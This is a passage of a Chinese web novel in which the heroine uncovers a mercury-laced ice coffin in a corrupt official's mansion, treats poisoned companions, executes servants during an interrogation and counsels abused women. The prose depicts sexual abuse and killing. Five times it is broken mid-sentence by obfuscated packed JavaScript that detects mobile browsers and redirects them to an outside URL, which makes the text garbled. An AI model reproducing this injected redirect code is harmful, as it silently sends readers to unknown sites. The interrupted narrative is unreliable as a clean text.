可是,他并没如愿以偿见到心心念念的公子,倒是第一次认识了孙员外。 当夜,所有弟子都留在了员外府,他也不例外,不过略饮了一杯薄酒,他便头晕目眩,由着下人搀扶着进了孙员外的屋子。 后来发生的事,是他一生最屈辱的时刻,可他本就瘦弱,手无缚鸡之力,根本敌不过孙员外的蛮力。 为了如愿见到心爱的公子,他只得半推半就,忍着恶心,任由孙员外折腾到天明方歇。 他都不知自己是如何走出那间屋子的,腰以下几乎疼到麻木,腿也好像不是自己的。 他怕弟子们看出端倪,还在想要如何才能瞒过去。 孙员外却先他一步,最终那些弟子是死是活,他不得而知。 他就这么成了员外府的常客,成为了孙员外的玩物,常常遍体鳞伤,生不如死。 他想如果这就是爱一个人必须要付出的代价,倒是也值得。 可,几个月过去了,他也没能再见到那美得如同谪仙的公子。 明清觉得皇天不负有心人,只要他坚持不懈,终有一日他的真心会感动上苍,到时与那公子双宿双飞。 管家仍在那巴拉巴拉说个不停,有用的没几句,废话倒是一大堆。 江树渐渐不耐烦起来,野蛮地把人拎到半空。 “闭嘴!本员外问什么你就答什么!” 管家想点头,可是根本无法动弹。 “是。。。。是。。。。老爷您问,小的定知无不言,言无不尽。” 柳岁听了一晚上员外府的龌龊事,恶心得直反胃。 “阿昭,剩下的事交给江树他们吧!你陪我去看看水下那间密室可好?” 景昭辰早在听到孙员外男女不忌的时候,就想离开了,但看柳岁听得津津有味,只得奈着性子陪她。 方有为今夜简直被这些乌七八糟的事劈了个外焦里嫩,他同手同脚随着景昭辰走了好一段都不自知。 “王爷,您说管家讲的事都是真的吗?属下虽在晏城也听到过一些风言风语,但想着外间谣传本就是夸大其词,并未放在心上,这这简直有伤风化!” 柳岁一个现代人都被这些事刷新了三观,何况是方有为这种思想古板,又一直独身的男子了! 看景昭辰同样也好不到哪去,一脸吃了苍蝇的表情,若是可以,他怕是想将刚才吃下去的饭菜一并吐了。 景昭辰看一眼柳岁,低咳两声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015224|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打断了方有为的喋喋不休。 “刚才讲话不便,你们重新说下水底那间密室的具体情况,仔仔细细,一点也不能漏掉。” 护卫颔首,态度恭敬。 “回王爷的话,水底的密室并无管家嘴中的金银财宝,倒是有具水晶制成的棺椁。” 他悄悄打量一眼景昭辰的神色,这才又继续开口。 “棺椁里躺着位公子,瞧着也不知死了多久,可尸身竟然没一丝腐坏的迹象,属下们不敢挪动,怕触动了什么。” 景昭辰一语未发,凝眉不知在思索什么。 柳岁见他们忐忑,只得先开口。 “确定里面再没其他可疑的物品?” 她认真想了想,“比如你们从未见过的矿石,或是装饰品之类的。” 几个方才下水的护卫互相看了看,齐齐摇头。 “墙壁上倒是嵌了不少的夜明珠,但这也不是稀罕的东西,属下们看得仔细,确定那里面除了棺椁再无其他。” 柳岁比他们想得多,地下埋的东西都到了影响土壤的程度,可见重金属是严重超标的。 他们可能不懂,但她到底是从现世穿越来的,新闻里每天都在讲哪里又被污染了,什么东西重金属超标,这些对人体和环境的影响简直可怕。 如果一直放任不管,到时影响的可不止是员外府,何况这水也不知会流向何处。 只是想一想,就觉得毛骨悚然。 她不在晏城生活,对这里的人和事也没感情,但,这里也是大昭的国土,总不能将来让恒儿继承这样千疮百孔的江山! 她不忍,也舍不得。 何况百姓又何其无辜,他们,他们的子子孙孙还要在晏城一直生活下去。 天子者,有道则人推而为主,无道则人弃而不用,诚可畏也。 君,舟也;民,水也;水能载舟,亦能覆舟! 没一个朝代能够稳坐万年,能有个百年盛世都极其不易,大昭如今的情况,最要紧的是安民心,重农业,绞尽脑汁恢复有些破败的经济,毕竟国库无银,寸步难行! 第164章 水晶的异样 水晶棺静静安置在密室的中央,夜明珠的光把这里照的如同白昼。 男子似乎是在沉睡,一袭白色锦袍,衬的他愈加俊美无俦,脸白的几近透明。 柳岁咂舌,“妈呀,这世上竟有如此美的男子,也难怪那明清为他痴,为他狂,为他哐哐撞大墙!” 景昭辰抚额,这丫头嘴里经常会冒出些奇怪的论调,也不知都是打哪学来的。 周围渐渐升腾起雾气,眼前一切都变得朦胧。 水晶棺发出咔喳的细微声响,谁也没注意到棺底裂开了一道缝隙。 涂山突然变得躁动不安,不停地原地转圈。 景昭辰几人的注意力都被从密室外传来的窸窸窣窣的动静所吸引。 柳岁蹲下来,“涂山你怎么了?吃坏肚子了?” 涂山没像往常那样听话,它的尾巴猛地甩向水晶棺。 “啪啪啪——” 一下又一下。 蛇尾甚至已经渗出血,涂山却像不知痛一般,固执地攻击那具水晶棺。 圣女之力不得不开口提醒柳岁。 “岁岁,棺中躺着的应当是怀义人,身上至少流着一半圣女血,也不知与你有没有血缘关系。” 不然好端端的,圣蛇绝对不会莫名其妙的发疯,它这举动无疑是想救出棺中的年轻男子。 柳岁一言难尽,对于圣女之力能讲话这事还是难以接受,每次一开口,她的心就会吓得狂跳。 可圣女之力说的这个也太扯了,难不成棺中躺着的还是她的兄弟? 转念一想,也并非没可能,老镇国公虽没明说她亲生父亲的身份,但话里话外多少透露了些信息。 柳玄若非柳家儿郎,那她柳岁也非柳家人。 不等多想,强大的气流猛的扑向柳岁,闪躲间,隐约在层层迷雾中看到一道白色身影。 柳岁想叫景昭辰,却发现无论如何也发不出声音。 她的嘴唇翕动了几下,死死盯着那具水晶棺。 水晶不管在何时都属于稀有矿物,乃宝石的一种,若其中含有微量的矿物质时会呈现出其他颜色。 可面前这水晶棺怎么看都不像印象中的水晶。 柳岁鬼使神差伸出手,指尖才触碰到边沿,寒意彻骨。 “这不是水晶,是冰” 她后退几步。 景昭辰发现异样,迅速闪身到柳岁身边,这才堪堪将人揽在怀里。 “岁岁你怎么了?可是这水晶棺有何不妥之处?” 柳岁依旧盯着水晶棺,半点也不敢松懈。 “阿昭,这棺椁不是水晶材质的,你可知有什么冰能放置许多年还不融化的?” 景昭辰略一思索就给出了答案。 “怀义有三片森林是外人不可踏足的,除了你知道的,还有另一片森林,据说那里长年累月被冰雪覆盖,明明艳阳高照,那里却万年不变。” 都是传闻,他也只是听了一耳朵,并未放在心上,如今也不知这消息是否准确。 江树抹一把额上的细汗,不解的望向柳岁。 “姑娘,您觉得热吗?明明刚才进来的时候温度正好。” 柳岁沉思不语。 “江树自小怕热,一到初夏整个人就会萎靡不振,所以他对温度变化最敏感。” 景昭辰话音刚落,一方帕子就捂上他的口鼻。 “退出去,快点!” 柳岁的声音里带着无法掩饰的恐惧,景昭辰还是第一次见柳岁如此失态的模样,心知肯定是出了了不得的大事。 “听岁岁的,全都退出去!” “找东西捂好口鼻!!” 众人纷纷撕下衣裳的一角,照柳岁的样子蒙在脸上,只余一双眼露在外。 “涂山谁见到涂山了?” 柳岁环顾四周,才发现涂山并没跟着众人一同出来。 “姑姑娘!” 方有为身边的护卫指着一个方向。 大家望过去,只见涂山姿势怪异地爬出来,背上似乎还驮着个人,白色的衣摆拖在地上。 涂山才出来,密室中就飘出刺鼻的气味,众人虽然已经蒙着面,仍是被呛得连连咳嗽,鼻涕和眼泪不自觉的流下来。 “赶紧离开!这气体有毒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015225|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 柳岁看一眼涂山,见它仍固执地背着那男子,只得由它去。 等众人全部游到岸上,凭借手中的夜明珠,才发现彼此的眼睛都红得吓人。 “岁岁,是有人在密室下了毒?可之前方有为的人下来并无大碍啊?” 景昭辰只觉得眼睛刺疼难忍,就好像被什么腐蚀了一般。 柳岁大口大口呼吸着新鲜空气,一把扯下景昭辰欲揉眼的手。 “别揉,江树你去找些干净的水来,动作要快。” 她现在没力气解释,还好发现的早,大家都没吸入多少,至于被刺激到的眼睛,可以用大量的水清洗就可缓解一二。 柳岁正在想着解决之法,就有人已经一屁股坐在地上,捂着脑袋直喊痛。 顾不得多说,先将有症状的人抬去正院,之所以没让他们回厢房,是因为水银中含大量的汞,急性中毒时需要通风的环境。 “去找牛乳,越多越好,对了,还有鸡蛋,有多少拿多少。” 柳岁又吩咐人将他们的衣裳全部换过,这才长长呼出口气。 “阿昭你感觉怎么样?可有哪里不舒服?” 景昭辰摇头,手却一直在抓挠胳膊。 柳岁赶紧把他的衣袖往上掀了掀,景昭辰的皮肤上出现了大片红疹,有些甚至已经被他抓破了。 好在柳岁需要的东西,员外府都有,而且数量不少。 柳岁将四个鸡蛋清放在牛乳中搅拌均匀,递到景昭辰唇边。 “会有些腥,你忍着点,一口气喝了!” 景昭辰不疑有他,端起碗一饮而尽。 其余众人同样一饮而尽。 还好只是吸入了少量,幸亏大家第一时间撤离了现场,否则后果将会不堪设想,这年代医疗条件不发达,死人也是有可能的。 饮下不过半盏茶的时间,景昭辰捂着嘴,一脸痛苦模样。 “阿昭,现在可不是在意形象的时候,可是觉得恶心想吐?听我的,赶紧吐出来,身子才能好。” “呕——” 几乎她的话音才落,身后就传来此起彼伏的呕吐声。 第165章 赎人! 等到众人慢慢安静下来,天边已经露出鱼肚白。 柳岁只觉这一夜格外的漫长,长得仿佛看不到尽头。 涂山就守着那男子,一动也不动。 柳岁现在可顾不上它,一一替众人把过脉之后,这才脱力地一屁股坐在地上。 方有为最惨,他是所有人中唯一一个昏迷不醒的,还好经过心肺复苏,没有生命危险。 “他从前受过重伤?” 景昭辰呕吐之后,脸色格外的苍白,闻声轻抬了抬眼皮。 “嗯,一箭穿胸,险些死在战场上。” 柳岁一边替他顺着后背,一边吩咐人继续给方有为灌水,以达到催吐目的。 “难怪了,大家虽都有中毒迹象,可症状比较轻,他当时应该伤的是左边胸膛吧?” 景昭辰只是轻轻点了点头,眼前一阵阵发黑,头晕得几乎不敢睁眼。 方有为命大,那箭只离心脏几寸,但他的心脏到底还是受到了不可控的伤害,所以要比别人更敏感。 众人或坐或躺,累得直接在院中睡着了。 柳岁也睡了半个时辰,睁眼时,方有为正在剧烈呕吐。 见她醒了,方有为的护卫有些不好意思。 “把柳姑娘吵醒了吧?实在抱歉,您忙活了那么久,该让您好好休息会的。” 柳岁摆手,看一眼在身边睡得并不安稳的景昭辰,还好,他的唇已经恢复了些许血色,体温也正常。 “无妨,方大人是何时开始呕吐的?人可清醒?” 她边说边往方有为的方向走。 护卫摆手,“姑娘,这味道难闻的很,一会属下们清理干净您再过来吧。” 柳岁的手指已经搭在了方有为的腕间。 “万幸,只要能吐出来,这命就算保住了,但是日后需得更加注意才是。” 她看向方有为。 方有为已经清醒了,被她这么盯着,有些羞窘的半垂下头。 “方大人不必觉得不好意思,您保家卫国,险些赔上自己的性命,这些年又操劳,那旧疾一直留在体内,今日不过是提早发作了。” 护卫们手脚麻利的将他身前的呕吐物清理干净,又搬来张椅子给柳岁。 “姑娘您坐,能跟属下们说说密室里到底是何物吗?” 景昭辰也醒了,只是浑身使不上一点力气,只得倚在树边,听着他们说话。 “确切的说那根本不是水晶棺,是千年寒冰,但里面又掺杂了水银,水银在极低的温度时会呈固态,对人体并无多大影响,可一旦温度升高,会迅速成为有毒液体。” 员外府的这间密室本就心思巧妙,但有人竟利用孙员外的无知,在寒冰中藏了这害人之物。 左思右想也想不通,但这人要害的肯定不是她与景昭辰,至于到底是谁,现在孙员外已死,真相只能慢慢去查。 真是一波未平,一波又起。 不过是想还晏城一个太平,却又发现了这不为人知的秘密。 “方大人会继续留在晏城吗?” 方有为颔首,“柳姑娘,您就唤我名字吧,这样说话也没那么拘谨。” “现在孙员外已死,他开设的赌场自然由你接手,就不知你如何打算?” 方有为一听这话,袖中的手紧握成拳,语调都拔高了几分。 “要不是怕坏了王爷的大事,我早就把这赌场给砸了,瞧瞧这城中的年轻公子哥被霍霍的没个人样,这自然是留不得了!” 柳岁一直在观察他的神色,如今又亲耳听到他这么说,不禁有些佩服起景昭辰选人的眼光。 是个正直的,什么都能作假,眼神可骗不了人,何况方有为心里的滔天怒意比他表现出来的还要多。 柳岁莞尔一笑,秀气的眉微微挑了挑。 江树暗道一声不妙,姑娘这是又憋着坏招了! 果然下一秒就听到柳岁带着笑意的声音。 “我家阿昭看人的眼光确实当属第一,不过吧这世间的事并不是非黑亦白,咱们可以折中一点。” 方有为不了解柳岁此人,只觉得她现在这笑容有点不怀好意。 “那依柳姑娘之见当如何?这害人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015226|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赌场还不砸了,留着继续霍霍人?” 柳岁笑的更加灿烂,她摆了摆手指。 “不不,你没理解我的意思。你瞧,晏城能上得起赌场的,大多不是普通百姓,而且据说孙员外还向他们提供西域迷香,那玩意多金贵无需我多说吧。” 方有为半张着嘴,一脸憨样。 “你现在带人把赌场看管起来,一个也不许出,然后再通知他们的家人过来赎人,啊,不是,是来把他们的儿子安全带回去,但这前提,嗯,毕竟朝廷三令五申不许私设赌场。” 方有为仍是一脸不解,他悄悄看一眼阖眸假寐的景昭辰,不知自己理解的意思是不是柳姑娘说的那个意思。 景昭辰嘴角扬了扬。 “晏城私设赌场,这乃罪之一;明知有赌场,他们却瞒下不报,纵容自家儿子、夫君,明知故犯,罪之二。” 景昭辰顿了顿,睁开眼看了看一脸坏笑的柳岁,无奈摇摇头。 “晏城经此一劫 ,想再恢复往日繁华,不光费时,还费银子,可朝廷国库空虚,方大人得自己想法解决。” 方有为不是个傻的,话都说到这份上了,他还有什么不明白。 柳姑娘和景昭辰的意思,啊,也不是,主要是柳姑娘的想法。 就是趁这次机会狠狠敲一笔那些富户的钱,也借此敲打他们,再来,既然是由他处理此事,那么以此说明日后晏城所有事务皆由他这个城守来管理。 “阿昭,你这手下当时伤的是脑子吧?啧,话都说这份上了,还不明白?” 方有为正在想事,听到她的话表情一僵。 “我听明白了,现在就吩咐人去做这事,姑娘看要多少银钱才够啊?” 柳岁眼珠子转了转,伸出手。 “啥?一人五千两?这也太多了吧!” “不多不多,如果再送每人一瓶解毒神药呢?你想啊,城中那些公子可不仅仅是赌博,他们还被迷药所控制,这种人即使接回去了,那也是祸害不是?” 江树腹诽,柳姑娘常有理,她一开口,黑的都给说成白的! 第166章 神秘高人 方有为安静了一瞬,从最初的震惊中回过神来,细细品味刚才景昭辰提点他的话。 换作从前,以景昭辰的性子是绝对不会说出那番话,既为他的人,就得自己去揣摩。 如果事事都得交待的一清二楚,还要替你想好冠冕堂皇的理同,那他们对景昭辰还有什么用处。 柳岁可不管他们的心思,吩咐他手下的护卫把那些绑在柴房的员外府下人全部带了出来。 一共十二人,瑟瑟发抖的跪在院中央。 柳岁也不急着开口,就拿一双漂亮的杏眼盯着他们,直看得人浑身不自在。 她那眼神就好似能洞察人心,任何人在她面前都是一览无余。 十二人只觉自己像是被扒光了所有衣服,光溜溜地呈现在大家的面前。 “密室是何人想出的法子?” 有一人着急,不假思索地大喊出声。 “当然是孙员外!” 柳岁勾唇,“很好。” 下一秒,那人死不瞑目。 “想好了再回答,他,就是说谎的下场。” 她问得巧妙,那下人就更蠢,死得倒也不冤。 剩下的十一人内心的恐惧到达了极点,虽说他们是孙员外培养的打手,但平常就是做点损人不利己的破事,这种大场面还真是头一回经历。 “看来你们都知道那间密室的存在,一个一个说,若是回答得让我满意,就留你们一命,考虑好了再开口哦!” 柳岁垂眸扒拉着手指,模样闲适又慵懒。 可再抬眸时,眼中迸出的凌厉令人心生畏惧。 “不说?那也无妨,我其实也不是很想知道。” 她用指尖挑起掉在地上的槐花,然后,捏碎,香气四下飘散。 经过一夜的折腾,她软糯的嗓音带着喑哑,却满含不容置疑的强势。 他们不自觉地摸了摸自己的脖子,感觉柳岁掐他们也能像捏碎那朵花一样简单。 气氛一度僵持住。 景昭辰终于感觉舒服些,走到柳岁身边,将落在她肩头的花瓣捻在指尖。 “这样的人无需你动手,岁岁的意思是要全杀掉?” 柳岁笑而不语,半歪着脑袋打量他。 “这会可是感觉好些了?肚子饿不饿?” 景昭辰刚才恨不能把去年的年夜饭都吐出来,此时经她一提醒,顿觉饥肠辘辘。 “是有些饿,但又感觉没甚胃口。” 江树和几名暗卫恰巧从西院回来,手中拎着几只大大的铜壶。 有暗卫从篮子里取出干净的白瓷碗。 景昭辰端着还冒着热气的白水有些不解。 “我们刚才已经喝了不少的水,这” 柳岁笑,安慰地拍了拍他的肩。 “乖乖喝了。” 他们吐得昏天暗地,毒算是解了,但会流失大量电解质,最简单的就是在水中加入盐和糖。 就不会因为过度饥饿而吃下太多的食物,给胃造成负担。 见景昭辰完全不反驳,乖乖地把碗中的水喝了个干净,众人只得硬着头皮,把一海碗的水饮尽。 他们连连打着水嗝,感觉要是一弯腰水就能从嗓子眼流出来。 员外府的下人被晾在一边,膝盖都仿佛不是自己的了。 “是杀是剐给个痛快的!” 有人不知死活地梗着脖子叫嚷。 如果最后都逃不过一死,真不如像刚才那兄弟一样,也比钝刀子割肉强。 柳岁没忍住,冲着那人吹了声口哨。 “大兄弟可以啊,够有勇气的,佩服!” 她煞有介事地抱拳,颇有股江湖人的风范。 那人愣了愣,不明所以。 天可怜见的,他还没从一言难尽中回过神,人就已经凉凉了。 “聒噪,找什么还有找死的!” 她接过江树递来的热帕子,仔仔细细把指缝中的血清理干净。 她又挨个点了点人数。 “嗯,十人一个一个杀实在太麻烦了,还费体力。” 景昭辰忍住想打嗝的冲动,他现在都不敢大幅度的走动,感觉水在肚子里直晃悠。 “这位姑姑娘,小的说” 他们终究被击破了最后防线,反正员外已死,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015227|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真如柳岁所言,说不准他们还有条活路。 柳岁笑了,“讲。” 十人争先恐后,唯恐自己讲少了,会白白丢了性命,毕竟谁不怕死啊。 在他们七嘴八舌中,终于算是理顺了此事的原委。 起初建密室的确是孙员外的主意,但是凭他那核桃仁一样的脑子想不出好的点子,他几经辗转才识得一位高人。 那高人神秘又冷漠,来府里的时候遮得连眼睛也看不到,历时半年才建成了这间密室。 在他们的述说中,柳岁和景昭辰几乎同时察觉到了不同寻常。 此人绝非大昭人,通常他是不开口的,都由身边一位男子转述他的意思,由此可见,此人不会讲大昭话。 “阿昭,怀义可有自己的方言?” 景昭辰点头,“不光有自己的方言,还有自己的文字,我曾得见过几回,乱七八糟的有些像鬼 画符。” “这就可以连上了,我敢肯定那高人是怀义人!” 怕他不理解,柳岁指了指树下木床上躺着的男子。 “看涂山的反应,他也应该是怀义人,能让孙员外如此大费周章藏起来的,身份肯定不一般。” 可惜,柳岁替他把过脉,毫无动静。 但是又不像是死了,离开冰棺这么长的时间了,若真是尸体,怕是该有味道了。 可他皮肤依旧有弹性,嘴唇微微张开,就像他只是在熟睡。 “柳姑娘,他这情况方某倒是略知一二,据说怀义有种密药,可使病重之人陷入深睡,呼吸、脉搏全无,但又不是真的死亡,对了,说这叫活死人。” 柳岁咂舌,这种只存在于电视剧里的玄幻剧情,竟真的存在。 “如果真像你说的这种情况,那一定是他的病暂时无良药可医,想用此法子拖延时间,直到寻到能医此病的郎中,可又为何往寒冰添了水银?” 百思不得其解,柳岁索性也不再纠结这个问题。 “岁岁,你能瞧出他是生了什么病吗?” 柳岁摇头,又点了点头。 “像是被什么毒虫咬了,但具体的一时半会难以分清。” 第167章 灰飞烟灭 怀义多山峦,树林多,毒虫毒草就少不了,想要从他的脉搏分辨很难。 而且怀义有圣女,传的神通广大,可连她也无法解的毒,柳岁也没多少把握。 不论好坏,这好歹是条人命。 再者,能被从怀义一路带来大昭,说不准就是打听到可解此毒的高人,只是可惜,送他来的人心怀鬼胎。 “他的身份能让人忌讳至此,而且,据明清所说,他到大昭时并没昏迷。” 柳岁猛地拍了把身旁的江树。 “明清呢?你们谁见到他了?” 江树痛的呲牙咧嘴。 “姑娘,您没叫人把他绑了?属下那会只顾着吓管家了。” 院中哪还有明清的影子。 这家伙肯定是趁乱跑了,他倒是机灵。 “算了,由着他先去,听管家所说,明清也不并不清楚这公子的身份。” 柳岁点头,赞同景昭辰的说法。 “行了,你们吵死了!现在给你们一个机会,把这水塘中的水想办法弄出来。” 她抬头,看着被古槐遮蔽的上空,叹了口气。 她看向方有为,“等寻到密室地下藏着的东西,这宅子就烧了吧!” 古槐参天,不知地下埋了多少无辜女子的尸体。 她们死前受尽折磨,死后就让她们清清静静地安息。 “烧烧了?” 方有为环顾一圈,略有可惜地拧紧眉头。 “嗯,听岁岁的烧了吧!这地下可全是尸骨。” 方有为一个哆嗦,这才想起管家说的话。 是啊,既然水塘有毒,这些女子都死于非命,也不知到底是受尽凌虐,还是毒发身亡。 不如一把火烧个干干净净,永绝后患。 “柳姑娘为何断定密室之下还藏有其他东西?” 柳岁努努下巴,示意他们看水塘边忙碌的员外府下人。 天热,又是干体力活,十人脱了上衣,卷起裤管露出布满恐怖纹路的小腿。 “即使不杀他们,他们也是活不过今年了。” 方有为不解,这些人受孙员外之令,肯定知道如何避开那些毒烟,不可能傻到每进一次,就吸一次。 柳岁跺了跺脚下的土地。 “这下面肯定有重金属!他们这些人长年累月居住在此,吃喝洗漱也全用的府中的水,那些毒素一点点渗透到四肢百骸,必死无疑,神仙难救。” 即使她现在制出解毒剂,也已经于事无补,估计他们的心肺功能都已经开始衰竭了。 因为,她已经看到几个人在流鼻血,但见他们的神情,像是早就习惯了。 “起初漱口时会牙龈出血,然后就是碰破点皮就会血流不止,接下来流鼻血,咳血” 总而言之一句话,就是华佗在世也救不了死人。 他们等于一条腿已经迈入了黄泉。 方有为恍然大悟,他刚才腹诽柳岁杀人不眨眼,比起景昭辰的狠辣更甚一筹。 但,就算他们是将死之人,柳岁杀人动作太快,而且也太过冷静,冷静得让人忘记了害怕。 柳岁眯眼,“方大人觉得我是个无情之人?呵呵,这么说也没错。” 方有为微滞,张着嘴,模样别提多滑稽。 身旁的护卫都没眼看,方大人这样子,等于直接承认了他确实在心中骂柳岁了。 这叫什么? 做贼心虚? 方有为摆手,有些心虚地半垂下头。 “没有没有,柳姑娘见多识广,方某佩服,我这就派人去赌场,一切听柳姑娘的!” 他转身,背着手,板着脸安排事情。 护卫们憋笑。 柳岁也觉得好笑,这方有为还真是个率真的人,真的是一点谎也不会说,那红到耳朵根的尴尬模样,只差亲口承认撒谎了。 景昭辰在心中长叹一声。 迄今为止,他的人在柳岁面前都是这副上不得台面的样子,简直无力还手。 一个大老爷们,索性直接承认就是骂了,柳岁这性子,还真不会生气,反而会觉得方有为有个性。 而且,柳岁又不是他媳妇,他脸红个屁啊! 景昭辰抵了抵后槽牙,没好气瞪一眼装模作样的方有为。 “安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015228|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排件事情这么久?既然不放心,你干脆一起跟去,亲自收钱如何?” 方有为的脑袋摇得拨浪鼓一样,虽不知景昭辰这莫名的火气是打哪冒出来的。 “交代完全了,已经都安排好了,王爷放心。” 他不好意思地看向柳岁,张了张嘴。 “药我随后让人送过去,那些人你可看严了,好吃好喝供着,千万别慢待了。“ 她笑得不怀好意,眼里的光更盛夏日的暖阳。 “涨价了呦,算上伙食和住宿,一人八千两,少一分都不行。” 方有为一副欲言又止的模样,见柳岁一点也不像开玩笑的样子,生生把话咽了回去。 算了,他现在不敢说,更不敢想,惹了摄政王生气,还有弥补的机会,可若是惹到柳岁,死无葬身之地。 “方大人,还是赶紧让他们去吧,晚了,怕是钱全飞了!你有腹诽 我的时间,还是想想要如何让晏城重新变得繁华。” 说话间,景昭辰的暗卫领着群女子缓缓走来。 暗卫挠头,“姑娘,她们非吵着要见见您和爷,属下实在没办法了。” 柳岁一一打量过她们。 如花的年纪,却被折磨的眼神无光,可能是长年累月晒不到太阳,每一个的肤色都呈现不健康的白。 “说说吧,为何想见我?” 有人跪下来,接着所有的女子全部跪下来,沉默着磕了几个响头。 “姑娘,听说孙员外已经死了?可是真的?” 柳岁轻点头,微笑着正视她们的眼睛。 “嗯,人是我杀的,死得不能再死了,灰飞烟灭,连投胎也不能够了。” 有女子开始低声啜泣,不敢大声,就捂着嘴,泪顺着指缝滑落在地上,无声无息。 “多谢姑娘,如此,我等再无遗憾” 柳岁还以为她们是想来求自己,放她们一条生路。 再说这些女子本也是无辜的,能活到现在,实属命大,她压根没打算杀了她们。 柳岁正想说什么,就见她们齐齐冲向墙壁。 “江树!拦住她们,别做傻事!” 第168章 何去何从 柳岁无奈地叹息。 这时代的女子对名节极为看重,被孙员外毁了清白,她们便无颜活在这世间。 对于从未迈出过府门的她们来说,死大概是最好的解脱。 除了服侍孙员外,她们还被迫接待从各地来晏城的官员,那些人看着温文尔雅,可喝了酒,到了房间,就丑态毕露。 折腾人的法子层出不穷,常常从深夜闹到日上三竿,她们之中就有被活活折磨死的。 人拖出来的时候,未着寸缕,身上伤痕密布,血淋淋的,连死都是如此没有尊严。 她们想不出来,除了死,还有什么活着的必要。 如今孙员外已死,她们心中最后的一点遗憾也消失,终于,解脱了! 江树来不及拦下那么多的人,柳岁想也没想的出手了,无形的气流将想要撞死的她们拦住。 柳岁不会安慰人,面对这一群陌生的女子,除了同情,也没其余过多的感情。 她让景昭辰几人退避,毕竟有些话他们在场就会难以启齿。 “听我说,我也没功夫与你们讲大道理,不过是偶然路过晏城,管了一回闲事。” 看她们除了流泪,再无其他的反应,柳岁头疼。 “但任何时候死都比活着要容易,既然上天给了你们活着的机会,为何要自轻自贱?女人在这世间本就不易,为何还要为难自己呢?孙员外死了,过往种种也随他烟消云散。” 空气安静的可怕,甚至都听不到她们哭泣的声音,看来是心存死志,今日救下了,明日呢?后日呢? 她还有事,已经耽误了好几天,不可能守着她们,而且谁也无法代替别人做出选择。 “你们先听听我的想法,如果依旧想死,到时我肯定不拦着,何去何从,皆由你们自己定。” 见终于有人目露疑惑,不解还有探究,柳岁这才继续开口。 “我知道你们打小就被关进了员外府,但人外有人,天外有天,不出去又怎么知道外面的世界是何模样,我知道有个城在重建,城中有绣楼正缺绣娘,你们可愿意一试?” “可我们什么也不会。” 有个看起来年纪最小的姑娘略带迟疑地小声回了句。 “谁也不是生来就什么都会,万事只要肯努力,哪有学不会的,而且我唯一能保证的就是你们去了那里,没人会打听你们曾经的身份,也不会有人骚扰你们!” 柳岁想,这真是她唯一能给出的保障了,剩下的,听天由命。 她拯救不了别人的人生,只能是给她们一个重新选择的机会。 至于要不要把握,强求不来。 天清气朗,暖风阵阵,虽照不进多少光线,可阳光依旧固执的透过树桠洒在地上。 就如同她们古井一般的心,似乎被柳岁的话轻轻撕开了一道口子。 像石子落入湖面,泛点涟漪。 “姐姐说的可是真的?真的有那样一个地方能容纳我们这样的人?” 柳岁看一眼,还是方才那个姑娘。 她朝她招了招手,那姑娘虽迟疑,仍是迈开了步子。 青青在往后的许多年,都会想起那天的午后,也不知是什么给了她迈开步子的勇气。 就是这勇气,让她如同重生。 走到离柳岁几步远的地方,她停了下来,不敢再上前。 柳岁虽看起来有些憔悴,但长得明艳动人,穿着不起眼的襦裙,却是上好的面料。 这样好的姑娘,应该是会嫌弃她们这种不干净的女子吧? 柳岁却伸出手,“你好,认识一下吧,我叫柳岁。” 